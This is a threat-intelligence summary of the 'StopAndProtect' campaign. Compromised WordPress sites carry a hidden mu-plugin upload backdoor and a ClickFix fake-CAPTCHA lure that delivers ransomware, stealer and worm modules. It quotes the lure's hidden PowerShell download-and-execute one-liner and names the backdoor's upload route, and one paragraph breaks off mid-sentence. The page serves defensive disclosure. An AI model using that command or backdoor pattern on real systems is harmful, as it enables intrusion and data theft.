StopAndProtect: Compromised WordPress Sites Used as Malware Distribution Infrastructure for Ransomware, Stealer, and Worm Payloads — Threadlinqs Intelligence
As of 2026-08-18, StopAndProtect: Compromised WordPress Sites Used as Malware Distribution Infrastructure for Ransomware, Stealer, and Worm Payloads is a high-severity malware threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 28 indicators of compromise.
Threat ID: TL-2026-2057 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
Check Point Research unmasked 'StopAndProtect,' an operation that abuses a hidden malicious WordPress must-use plugin (wp-sec.php) to backdoor thousands of hacked sites, luring visitors with ClickFix
StopAndProtect is a large-scale, financially-motivated operation that turns compromised, poorly-maintained WordPress sites into disposable malware-distribution and command-and-control infrastructure. Access to each site begins with exploitation of one or more of 40+ vulnerabilities Check Point observed on an analyzed compromised installation (SQL injection, authentication bypass, authenticated arbitrary file upload, and open redirect flaws on a WordPress core version dating to 2021, five years unpatched). Once inside, the operators deploy an mu-uploader-installer.php bootstrap that writes a hidden must-use plugin to wp-content/mu-plugins/wp-sec.php. Because WordPress auto-loads every file in mu-plugins on every request and never lists them in the standard Plugins admin screen, wp-sec.php survives routine administrator review. It registers a hidden REST API route (wp-json/wp-sec/v1/upload) gated by hardcoded credentials that accepts arbitrary file uploads — explicitly including .php — turning the backdoor into a persistent, low-visibility web shell the operators use to push further payloads, including a 'verify' plugin component that renders a fraudulent CAPTCHA overlay to site visitors. The installer self-deletes after deployment.
Visitors who land on a compromised page are shown a ClickFix-style fake human-verification prompt. The page's JavaScript silently logs the visitor's IP to a proxy.php endpoint under wp-content/plugins/verify/ on a base C2 domain, copies a PowerShell one-liner to the clipboard, and walks the victim through Win+R, Ctrl+V, Enter. The pasted command (powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(...))) fetches a first-stage script (vcapcha.ps1) that reports execution telemetry to the C2 and retrieves a second PowerShell stage; that stage base64-decodes a .NET assembly, reflectively loads it into the current process, and invokes an exported 'Execute' method — the initial loader never touches disk. The in-memory .NET Stage 1 downloader reports further telemetry and fetches a .NET Stage 2 loader that performs sandbox/VM detection, expands logging, and persists on the host before pulling down the Stage 3 modular payload set.
Stage 3 delivers three purpose-built .NET families. SilentEncryptor is the ransomware component: it fetches encryption instructions from the C2 (scoping encryption to all machines or specific hostnames), derives a 32-byte per-file key from a per-file password plus the victim machine name, embeds both values in the encrypted filename so operators can regenerate keys without an escrow database, and displays a C2-served ransom lock screen with a cryptocurrency QR code for payment. SilentDataCollector is the infostealer: it inventories files across fixed drives, removable media, and network shares, AES-CBC-encrypts the resulting file list with a key embedded in the Stage 3 component, and waits for operator-issued command files naming specific targets (documents, credential/password stores, cryptocurrency wallets) to compress, encrypt, and exfiltrate to the base C2. Newer builds add a keylogger with email-address detection, WhatsApp Web automation that searches for and extracts named contacts' phone numbers, and screenshot capture every 30 seconds during active user sessions (plus at startup, lock, and final desktop state) — Check Point recovered roughly 31,000 such screenshots and 700+ encrypted data archives from open collection directories, representing ~200 unique infected machines. NetworkShareScanner is the propagation module: it enumerates reachable SMB network shares and attached USB devices, then spreads copies of the toolset to them, using WMI-based remote process creation for lateral movement into enterprise network shares, paired with a companion VBS spreader for hard-disk and removable-media infection.
Operator-side tradecraft is unusually exposed for a still-active campaign: the actors' own desktop files were accidentally swept into the same
Weaknesses (CWE)
CWE-89, CWE-287, CWE-434, CWE-601
Target regions: united states of america, russia, india, ukraine
Timeline
- On the analyzed compromised WordPress site, the earliest observed activity is deployment of the attacker's upload/deletion utilities, marking initial foothold.
- Attackers disable the site's caching plugin so malicious payload changes are served to visitors immediately rather than a stale cached version.
- The 'verify' plugin component — hosting the ClickFix fake-CAPTCHA overlay and its proxy.php visitor-logging endpoint — is installed on the compromised site.
- Check Point Research identifies the SilentEncryptor ransomware family in mid-May 2026 and begins tracking the broader operation later named StopAndProtect.
- The hidden wp-sec.php must-use plugin folder is created on the analyzed site, establishing the persistent, dashboard-invisible REST API upload backdoor.
- Persistence and proxy mechanisms are fully activated on the analyzed compromised site, completing an infrastructure buildout observed May 19-22, 2026.
- Check Point captures a statistics snapshot: 6,000+ unique victim IP addresses, ~31,000 exfiltrated screenshots, and 700+ stolen data archives collected across the campaign to date.
- Check Point Research publicly discloses the StopAndProtect operation, detailing the wp-sec.php backdoor, the ClickFix lure chain, the SilentEncryptor/SilentDataCollector/NetworkShareScanner toolset, and the operators' own OPSEC failures.
Detections & IOCs
As of 2026-09-06, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 28 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1584.004, T1190, T1204.004, T1059.001, T1047, T1505.003, T1027, T1620, T1497, T1021.002
